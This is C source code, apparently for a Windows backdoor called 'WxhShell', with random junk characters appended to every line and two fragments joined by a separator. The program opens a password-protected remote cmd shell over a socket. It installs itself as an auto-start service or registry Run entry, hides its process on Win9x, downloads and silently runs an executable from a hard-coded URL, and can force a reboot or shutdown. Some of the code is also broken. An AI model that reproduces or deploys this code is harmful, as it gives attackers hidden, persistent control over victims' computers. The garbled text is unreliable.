    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E ]f)Os$  
    else { :m ZYS4L~  
    closesocket(wsh); `]<`$71w  
    ExitThread(0); xaW{I7FfG  
    } i=rH7k  
    break; .<YcSG  
    } BJy;-(JP  
  // 关机 +>tUz D  
  case 'd': { Fr [7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;gB`YNL  
    if(Boot(SHUTDOWN)) yWb4Ify  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rQr!R$t/[  
    else { ,Eu?JH&}u  
    closesocket(wsh); U(,.D}PG  
    ExitThread(0); :_HF j.JW  
    } 6gU{(H   
    break; "#4dW7E  
    } k;KdW P  
  // 获取shell r\qz5G *6  
  case 's': { /.Q4~Hw%}  
    CmdShell(wsh); m4m<nnM  
    closesocket(wsh); '*T]fND4  
    ExitThread(0); 6q/ ?-Qcy  
    break; h-QLV[^  
  } :Li/=>R^  
  // 退出 {vVTv SC  
  case 'x': { : ]II-$/8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ed-M7#wY  
    CloseIt(wsh); qLK?%?.N<  
    break; Jp~zX lu  
    } X.V[0$.;  
  // 离开 L:R<e#kgS  
  case 'q': { (.23rVvnT@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j.|U=)E  
    closesocket(wsh); ,D=fFpn  
    WSACleanup(); caq} &A]C  
    exit(1); tef^ShF]  
    break; c0rk<V%5+  
        } m9":{JI.w  
  } Im?LIgt$  
  } 'EhBRU%  
8@\7&C(g17  
  // 提示信息 ?Bx./t><  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]A+o>#n}x  
} Es4qPB`g.  
  } lpm JLH.F  
5V5w:U>_z  
  return; S Xr%kndS  
} 9pD 7 f`  
#R&H &1  
// shell模块句柄 X#p Wyo~  
int CmdShell(SOCKET sock) TqAPAHg  
{ BmBz}:xMez  
STARTUPINFO si; %X1x4t]  
ZeroMemory(&si,sizeof(si)); z`3( ,V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (z7+|JE.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `/IKdO*!S  
PROCESS_INFORMATION ProcessInfo; q|(W-h+  
char cmdline[]="cmd"; kOrl\_!z3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !0}\&<8/m  
  return 0; WO*9+\[v  
} LKF/u` 0dP  
^J/)6/TMXm  
// 自身启动模式 zI;0&  
int StartFromService(void) WF2-$`x  
{ ~r*P]*51x  
typedef struct Jjm|9|C,  
{ K[?Xm"4  
  DWORD ExitStatus; n1v5Q2xw  
  DWORD PebBaseAddress; N{Qxq>6 G  
  DWORD AffinityMask; ,xsH|xW  
  DWORD BasePriority; nE W31 8  
  ULONG UniqueProcessId; sRhKlUJG  
  ULONG InheritedFromUniqueProcessId; *_-'/i  
}   PROCESS_BASIC_INFORMATION; b[ w;i]2  
!CY&{LEYn0  
PROCNTQSIP NtQueryInformationProcess; [iS$JG-  
iCQ>@P]nE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7jG(<!,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8y2+&#$  
dK9Zg,DZL  
  HANDLE             hProcess;  kLP0{A  
  PROCESS_BASIC_INFORMATION pbi; UQ?%|y*Kc  
Xrqx\X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zu\`1W^  
  if(NULL == hInst ) return 0; 6 ,b"  
j<yiNHC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $lwz-^1t.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )%Iv[TB[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YwDt.6(+,  
^QX bJJ  
  if (!NtQueryInformationProcess) return 0; Dm0a.J v  
1NLg _UBOK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `ldz`yu6++  
  if(!hProcess) return 0; Me3dpF  
2DDsWJ;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \?fIt?  
} p:%[  
  CloseHandle(hProcess); %&<LNEiUN  
(P|pRVO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V9%aBkf8w  
if(hProcess==NULL) return 0; ?&+9WJ<M  
:!TI K1  
HMODULE hMod; FY3IUG  
char procName[255]; qSU| =  
unsigned long cbNeeded; 2umv|]n+l|  
#1nJ(-D+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6p;m\  
}j {!-&  
  CloseHandle(hProcess); pox, Im  
R{hf9R,  
if(strstr(procName,"services")) return 1; // 以服务启动 eVh - _  
Sus;(3EX  
  return 0; // 注册表启动 %yS3&Ju  
} b{7E;KyY,  
)7cb6jCU  
// 主模块 [U{UW4  
int StartWxhshell(LPSTR lpCmdLine) P5 <vf  
{ aoW6U{\  
  SOCKET wsl; <yUstz,Xu^  
BOOL val=TRUE; v $({C  
  int port=0; KA s1(oG  
  struct sockaddr_in door; afG{lWE)  
~.g3ukt  
  if(wscfg.ws_autoins) Install(); 8MwK.H[U  
ts~{w; c  
port=atoi(lpCmdLine); [1G^/K"  
gXFWxT8S  
if(port<=0) port=wscfg.ws_port; mh/n.*E7  
&"Ux6mF-"  
  WSADATA data; u'~;Y.@i'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HfNDD| Zz  
`TLzVB-j3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W6c]-pc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +K",^6%1  
  door.sin_family = AF_INET; / +K?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^C)n$L>C0  
  door.sin_port = htons(port); '-$XX%TOAc  
g=@_Z"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >pL2*O^{9  
closesocket(wsl); !RvRGRSyF  
return 1; lEjwgk {  
} Pt,ebL~  
CB\{!  
  if(listen(wsl,2) == INVALID_SOCKET) { sN=6gCau  
closesocket(wsl); jH;Du2w  
return 1; `6=-WEo  
} &]6) LFm  
  Wxhshell(wsl); =qVP]  9  
  WSACleanup(); ~#K@ADYr  
:a[Ihqfg  
return 0; tA.`k;LT  
22hSove.  
} V<Z'(UI  
-T@`hk`  
// 以NT服务方式启动 6=_~ 0PcY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PyC0Q\$%  
{ 1%[_`J;>Z  
DWORD   status = 0; X@N$Z{  
  DWORD   specificError = 0xfffffff; q<vf,D@{ !  
I&yVx8aH}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fK}h"iH+K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -Yi,_#3{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )Q;978:  
  serviceStatus.dwWin32ExitCode     = 0; . RVVWqW  
  serviceStatus.dwServiceSpecificExitCode = 0; n 1b(\PA  
  serviceStatus.dwCheckPoint       = 0; Z3KO90O!8  
  serviceStatus.dwWaitHint       = 0; ='?:z2lJ  
ed 59B)?l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q[n\R@  
  if (hServiceStatusHandle==0) return; 3Mjj' 5KH!  
6c4&VW  
status = GetLastError(); 'fV%Z  
  if (status!=NO_ERROR) SUCU P<G  
{ 9Ru;`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uLeRZSC  
    serviceStatus.dwCheckPoint       = 0; }Rvm &?~O  
    serviceStatus.dwWaitHint       = 0; sfT+i;p  
    serviceStatus.dwWin32ExitCode     = status; RF}X ER  
    serviceStatus.dwServiceSpecificExitCode = specificError; j-@kW'K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); < E|s\u  
    return; <Q < AwP  
  } vYmSKS  
gApoX0nrv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0Wvq>R.(]7  
  serviceStatus.dwCheckPoint       = 0; B0}~G(t(  
  serviceStatus.dwWaitHint       = 0; q(o/yx{bm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5FKBv e@  
} l*aj#%ha  
yGBQ0o7E  
// 处理NT服务事件,比如:启动、停止 jF ^5}5U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) od<b!4k~s  
{  cc=gCE  
switch(fdwControl) }3 m0AQ;K  
{ [onqNp  
case SERVICE_CONTROL_STOP: vE, 37  
  serviceStatus.dwWin32ExitCode = 0; \kIMDg3}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @`"AHt  
  serviceStatus.dwCheckPoint   = 0; %u\26[/  
  serviceStatus.dwWaitHint     = 0; |f( ~@Q:  
  { 9v )%dO.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f|EUqu%E  
  } O>y'Nqz  
  return; "@3@/I  
case SERVICE_CONTROL_PAUSE: 8ovM\9qT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XE3aXK'R  
  break; {QaNAR=)  
case SERVICE_CONTROL_CONTINUE: P,pnga3Wu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8OhDjWVJ  
  break; 7k%T<;V  
case SERVICE_CONTROL_INTERROGATE: 5A Bhj*7  
  break; fIC9WbiH-  
}; yqOuX>m1c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1^J`1  
} 5~ 'Ie<Y_  
\,UZX&ip  
// 标准应用程序主函数 T$4P_*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hjx)D  
{ Yepe=s+9  
:6kjEI  
// 获取操作系统版本 \(UKd v  
OsIsNt=GetOsVer(); uYG^Pc^v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #.B"q:CW*P  
2GmpCy`L"  
  // 从命令行安装 #_  C  
  if(strpbrk(lpCmdLine,"iI")) Install(); )u ?' ;  
g+8hp@a  
  // 下载执行文件 ~:Uw g+]j  
if(wscfg.ws_downexe) { Pi2|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mn:/1eY  
  WinExec(wscfg.ws_filenam,SW_HIDE); =4!nFi  
} lG<hlYckv  
'BMy8  
if(!OsIsNt) { qAkx<u  
// 如果时win9x,隐藏进程并且设置为注册表启动 Tsb{25`+  
HideProc();  r}_c  
StartWxhshell(lpCmdLine); %~ |HFYd  
} L];y}]:F*  
else gieJ}Bv  
  if(StartFromService()) }A$WO {2  
  // 以服务方式启动 wRNroQ  
  StartServiceCtrlDispatcher(DispatchTable); [p r"ZQ]  
else C R<`ZNuWz  
  // 普通方式启动 O  OFVnu  
  StartWxhshell(lpCmdLine); y? (2U6c  
6X g]/FD  
return 0; 3#kitmV  
} u<ySd?  
D]! aT+  
&.i^dO^}  
^>4o$}  
=========================================== =/Aj  
Q'B6^%:<~  
R614#yn-+  
o;F" {RZ  
:HViX:]H  
Jhkvd<L8`m  
" f6<g3Q7Mu  
zRl~^~sY  
#include <stdio.h> I{0 k  
#include <string.h> fg%&N2/(.B  
#include <windows.h> /Poet%XvRx  
#include <winsock2.h> {C*\O)Gep  
#include <winsvc.h> 79J-)e9  
#include <urlmon.h> JeH;v0  
-l+P8:fL~  
#pragma comment (lib, "Ws2_32.lib") e= P  
#pragma comment (lib, "urlmon.lib") C}g9'jY  
A!W0S  
#define MAX_USER   100 // 最大客户端连接数 9W*+SlH@ !  
#define BUF_SOCK   200 // sock buffer qf'm=efRyu  
#define KEY_BUFF   255 // 输入 buffer f}%D"gz  
H!e 3~+)  
#define REBOOT     0   // 重启 RH)EB<PV  
#define SHUTDOWN   1   // 关机 D.!~dyI.,$  
X##1! ad  
#define DEF_PORT   5000 // 监听端口 yWPIIWHx!  
2 mjV~  
#define REG_LEN     16   // 注册表键长度 UO`;&e-DB  
#define SVC_LEN     80   // NT服务名长度 5R$G(Ap_  
`\>.h  
// 从dll定义API z5\;OLJS,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1xyU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y+%sBqo @  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B=L&bx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !X >=l  
|C \}P  
// wxhshell配置信息 tU wRE|_  
struct WSCFG { G>qZxy`c  
  int ws_port;         // 监听端口 ".*x!l0y7  
  char ws_passstr[REG_LEN]; // 口令 co4h*?q  
  int ws_autoins;       // 安装标记, 1=yes 0=no n#Dv2 E=6  
  char ws_regname[REG_LEN]; // 注册表键名 gB,G.QM*6  
  char ws_svcname[REG_LEN]; // 服务名 :S@1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #(Or|\t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Id'RL2Kq*&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T<yP* b2E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l|`9:H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zZ-wG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -a Gcf]6  
eg+!*>GaX  
}; "ceed)(:  
Yx'res4e  
// default Wxhshell configuration ?C0l~:j7D  
struct WSCFG wscfg={DEF_PORT, |iFVh$N  
    "xuhuanlingzhe", ~`;rNnOT3  
    1, Q\ ^[!|  
    "Wxhshell", UCrh/bTm  
    "Wxhshell", YKZrEP 4^  
            "WxhShell Service", 7)rWw<mY  
    "Wrsky Windows CmdShell Service", l7(!`NPbC  
    "Please Input Your Password: ", !33#. @[  
  1, gCd`pi 8  
  "http://www.wrsky.com/wxhshell.exe", `[#x_<\t  
  "Wxhshell.exe" :m=m}3/:  
    }; OIHz I2{  
u]^N&2UW  
// 消息定义模块 [mxTa\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /76 1o\Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D-imL;|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m%+IPZ2m  
char *msg_ws_ext="\n\rExit."; %m5Q"4O  
char *msg_ws_end="\n\rQuit."; {MAQ/5  
char *msg_ws_boot="\n\rReboot..."; h5z)Lc^  
char *msg_ws_poff="\n\rShutdown..."; y@bcYOh3  
char *msg_ws_down="\n\rSave to "; pb60R|k  
et,GrL)l  
char *msg_ws_err="\n\rErr!"; /e\{    
char *msg_ws_ok="\n\rOK!"; z!QDTIb  
`+lHeLz':  
char ExeFile[MAX_PATH]; 6< J #^ 6  
int nUser = 0; YO{GU7  
HANDLE handles[MAX_USER]; $v.C0 x  
int OsIsNt; 9_ICNG%  
M/PFPJ >`  
SERVICE_STATUS       serviceStatus; 9n]|PEoAB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QlFZO4 P3|  
+YOKA*  
// 函数声明 qJ!Z~-hS  
int Install(void); 39U5jj7i  
int Uninstall(void); +eQe%U  
int DownloadFile(char *sURL, SOCKET wsh); fHrt+_Zn|  
int Boot(int flag); 6}~pq1IF{  
void HideProc(void); Y/TlE?  
int GetOsVer(void); gsar[gZ  
int Wxhshell(SOCKET wsl); 5 v^yQ<70  
void TalkWithClient(void *cs); u/b7Z`yX}  
int CmdShell(SOCKET sock); 31^cz*V  
int StartFromService(void); <q)4la  
int StartWxhshell(LPSTR lpCmdLine); 6Q4X 6U:WB  
IJOvnZ("A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rn@`yTw^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U;_[b"SW%  
4Ph0:^i_  
// 数据结构和表定义 %sh>;^58P  
SERVICE_TABLE_ENTRY DispatchTable[] = &MmU  
{ Hi! Jj  
{wscfg.ws_svcname, NTServiceMain}, 80}+MWdo  
{NULL, NULL} "}WJd$  
}; o 6{\Zzp  
Bsf7mcXz7z  
// 自我安装 F+UG'4%  
int Install(void) Op.8a`XLt&  
{ S-+"@>{HJ  
  char svExeFile[MAX_PATH]; s6*ilq1  
  HKEY key; .%EL\2  
  strcpy(svExeFile,ExeFile); Rx07trfN  
=*BIB5  
// 如果是win9x系统,修改注册表设为自启动 { kSf{>Ia  
if(!OsIsNt) { Mpue   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mvj;ic6iK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H?1xjY9sl  
  RegCloseKey(key); <mA'X V,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *F ^wtH`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9L0GLmLk1u  
  RegCloseKey(key); 4rK{-jvh>m  
  return 0; D(W,yq~7uY  
    } `Ycf]2.,$  
  } R9We/FhOY  
} p1pQU={<  
else { u*S=[dq  
qIUfPA=/_  
// 如果是NT以上系统,安装为系统服务 %A1@&xrbl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R;whW:Tx  
if (schSCManager!=0) ))D:8l@  
{ Z0!5d<  
  SC_HANDLE schService = CreateService L(S'6z~_9  
  ( z2gk[zY&  
  schSCManager, Zv]x'3J#Y  
  wscfg.ws_svcname, <>xJn{f0c  
  wscfg.ws_svcdisp, -Lu)'+  
  SERVICE_ALL_ACCESS, %m,6}yt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Kr'f-{  
  SERVICE_AUTO_START, uf<@ruN  
  SERVICE_ERROR_NORMAL, M6 9 w-  
  svExeFile, l} ^3fQXI  
  NULL, Kemw^48ts  
  NULL, GY3 Wj  
  NULL, ;rI@ *An  
  NULL, nZ1zJpBmI  
  NULL 5la>a}+!!h  
  ); . JX EK  
  if (schService!=0) l5%G'1w#,j  
  { $w)~O<_U  
  CloseServiceHandle(schService); TlL^7f}  
  CloseServiceHandle(schSCManager); C,V%B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1sE?YJP-  
  strcat(svExeFile,wscfg.ws_svcname); 8*SDiZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _8fr6tO+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )C(>H93  
  RegCloseKey(key); N qHy%'R  
  return 0; {_N,=DQ!  
    } vE6mOM!_L  
  } T#%/s?_>.  
  CloseServiceHandle(schSCManager); Sgim3):Z  
} C`=p +2I]  
} r;9 r!$d  
7*Qk`*Ii  
return 1; .LVQx  
} $CTSnlPq  
*b *G2f^  
// 自我卸载 682Z}"I0  
int Uninstall(void) eg<bi@C1|  
{ \}6;Kf}\  
  HKEY key; %98' @$:0  
&wd;EGGT!q  
if(!OsIsNt) { "q}FPJ^l_N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bawJ$_O_  
  RegDeleteValue(key,wscfg.ws_regname); "xcX' F^  
  RegCloseKey(key); jdKOb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I jr\5FA[p  
  RegDeleteValue(key,wscfg.ws_regname); !g~1&Uw1  
  RegCloseKey(key); 5Dp#u  
  return 0; -aRU]kIf  
  } v}@xlB=  
} h1 WT  
} sAo& uZ  
else { W)'*m-I  
MUOa@O,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bQe^Px5 !.  
if (schSCManager!=0) 4p;aS$Q  
{ 4v p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~/NKw:  
  if (schService!=0) A,su;Q h  
  { i'd2[A.7I  
  if(DeleteService(schService)!=0) { KKA~#iCk  
  CloseServiceHandle(schService); |r ue=QZ  
  CloseServiceHandle(schSCManager); {NpM.;  
  return 0; _0+0#! J!  
  } 6s,uXn  
  CloseServiceHandle(schService); ^@P1 JNe  
  } I8oo~2Q w  
  CloseServiceHandle(schSCManager); a`Gx=8  
} AV 8n(  
} "G >3QL+O|  
>+. ( r]  
return 1; [{4 MR%--  
} T0)4v-EO  
U$oduY#  
// 从指定url下载文件 \ w3]5gJZ  
int DownloadFile(char *sURL, SOCKET wsh) %B.D^]S1:  
{ nEzf.[+9/  
  HRESULT hr; 80A.<=(=.  
char seps[]= "/"; [dtbkQt,c  
char *token; =to=8H-  
char *file;  u66XN^  
char myURL[MAX_PATH]; Z*G(5SqUh"  
char myFILE[MAX_PATH]; W\1i,ew>  
f%5zBYCgC  
strcpy(myURL,sURL); I H$0)g;s  
  token=strtok(myURL,seps); f3`7tA  
  while(token!=NULL) sNun+xsf^  
  { oJ#,XMKga  
    file=token; at2FmBdu C  
  token=strtok(NULL,seps); UR:aD_h  
  } m*e{\)rd#  
zy*/T>{#  
GetCurrentDirectory(MAX_PATH,myFILE); -}K<ni6  
strcat(myFILE, "\\"); 9&<x17'  
strcat(myFILE, file); B|o2K}%f  
  send(wsh,myFILE,strlen(myFILE),0); \OlmF<~  
send(wsh,"...",3,0); ?UM*Xah  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); keRE==(D  
  if(hr==S_OK) Em[DHfu1Q  
return 0; JNcYJ[wqv  
else j }b\Z9)!  
return 1; c8Z wr]DF  
12Y  
} 1+?^0%AC  
;Eu3[[V  
// 系统电源模块 54zlnM$  
int Boot(int flag) zB yqD$  
{ -i-?.:  
  HANDLE hToken; m%?V7-9!k  
  TOKEN_PRIVILEGES tkp; @F(mi1QO  
p~LrPWHSTP  
  if(OsIsNt) { n~VD uKn9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <nEi<iAY>U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G "P4-  
    tkp.PrivilegeCount = 1; f6$b s+oP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q -8t'7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zbJT&@z  
if(flag==REBOOT) { iR"N13  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;c$J=h]  
  return 0; .k,YlFvj  
} CdL< *AH  
else { 0527Wj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FVh U^  
  return 0; .F+@B\A<  
} DBP9{ x$  
  } Q_l'o3  
  else { $1ndKB8)`J  
if(flag==REBOOT) { s&'QN=A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \W1/p`  
  return 0; m,fAeln  
} LdJYE;k Ju  
else { ! VjFW5'{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S*yjee<@  
  return 0; qWw\_S  
} [$[:"N_  
} *hcYGLx r  
RejQ5'Neh  
return 1; bV/jfV"%E  
} >LDhU%bH  
?7{H|sI  
// win9x进程隐藏模块 o6$4/I  
void HideProc(void) sH\5/'?  
{ \l~*PG2  
V^;jJ']  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $\9~)Rq6  
  if ( hKernel != NULL ) 8V~vXnkM  
  { %D *OO{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4*$G & TX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e1P"[|9>R  
    FreeLibrary(hKernel); mc4i@<_?  
  } %.Q !oYehj  
{z|;Xi::"  
return; JchSMc.9  
} 0wS+++n$5  
$8BPlqBIZ  
// 获取操作系统版本  O#I1V K  
int GetOsVer(void) Sfdu`MQR  
{ 3po:xMY  
  OSVERSIONINFO winfo; IsR!'%Pu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !W?gR.0$=  
  GetVersionEx(&winfo); Kv~U6_=1O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _o8 ?E&d  
  return 1; o=1X^,  
  else JfPD}w  
  return 0; G}p\8Q}'  
} 'F3)9&M  
Z@r.pRr'  
// 客户端句柄模块 6^DR0sO  
int Wxhshell(SOCKET wsl) m4*@o?Ow  
{ G z)NwD  
  SOCKET wsh; Po%(~ )S>  
  struct sockaddr_in client; \QB;Ja _  
  DWORD myID; O+ICol  
t%8d-+$  
  while(nUser<MAX_USER) j1(D]Z=\  
{ o6p98Dpg   
  int nSize=sizeof(client); PdvqDa8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4f<$4d^md  
  if(wsh==INVALID_SOCKET) return 1; Q%f|~Kl-hd  
}1rm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ps<d('=  
if(handles[nUser]==0) B/n[m@O  
  closesocket(wsh); V dn&c  
else IH"6? 9nd  
  nUser++; Nv"EV;$  
  } .aflsUD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yxc=Z0~1  
V(E/'DR  
  return 0; ccL~#c0P7  
} 3'X.}>o   
(P`3 @H  
// 关闭 socket /soKucN"h  
void CloseIt(SOCKET wsh) #BST lz  
{ D|.ic!w'  
closesocket(wsh); twx[ s$O'b  
nUser--; e#k<d-sf6  
ExitThread(0); dh $bfAb  
} h?pkE  
D:K4H+ch  
// 客户端请求句柄 nWHa.H#  
void TalkWithClient(void *cs) Km^&<3ch#  
{ @K!&qw  
c ;'[W60  
  SOCKET wsh=(SOCKET)cs; Y3=_ec3w  
  char pwd[SVC_LEN]; <wAFy>7  
  char cmd[KEY_BUFF]; QNl'ZB \  
char chr[1]; z0do;_x]E  
int i,j; }C|dyyr  
)Dz+X9;g+  
  while (nUser < MAX_USER) { '{B!6|"X  
~^cMys |'  
if(wscfg.ws_passstr) { -! K-Htb-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /S lYm-uQ+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1PatH[T[  
  //ZeroMemory(pwd,KEY_BUFF); {,L+1h  
      i=0; jkvgoxY  
  while(i<SVC_LEN) { tzh1s i  
nb>7UN.9  
  // 设置超时 ,tg0L$qC  
  fd_set FdRead; {+@bZ}57  
  struct timeval TimeOut; 9rA=pH%<>B  
  FD_ZERO(&FdRead); 1u9LdkhnY  
  FD_SET(wsh,&FdRead); p"U, G -_  
  TimeOut.tv_sec=8; yR\btx|e5~  
  TimeOut.tv_usec=0; ',S'.U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z@$8I{}G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d0,s"K7@  
~JH:EB:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _hk.2FV:3m  
  pwd=chr[0]; T'b_W,m~,u  
  if(chr[0]==0xd || chr[0]==0xa) { =*LS%WI  
  pwd=0; %x} O1yV  
  break; $ O5UyKI  
  } )<Hd T  
  i++; s S7c!  
    } vZBc !AW  
E^ SH\5B  
  // 如果是非法用户,关闭 socket -bU oCF0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9*(aU z9j  
} |*0<M(YXN  
Ho *AAg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f-7 1~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *~x/=.}  
0/oyf]HR  
while(1) { 9,"L^W8"k  
,11H.E Z  
  ZeroMemory(cmd,KEY_BUFF); *C:|X b<9  
+PuPO9jKO@  
      // 自动支持客户端 telnet标准   #&7}-"Nd  
  j=0; 2m2;t0  
  while(j<KEY_BUFF) { =7o"u3hG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P->y_4O  
  cmd[j]=chr[0]; ]:~OG@(  
  if(chr[0]==0xa || chr[0]==0xd) { o+$7'+y1n-  
  cmd[j]=0; Ht4;5?/y  
  break; 5kz)5,KjM  
  } ,c)uX#1  
  j++; 4%3M b-#Y]  
    } QhK#Y{xY  
go<W( ,O  
  // 下载文件 ..R-Ms)k=  
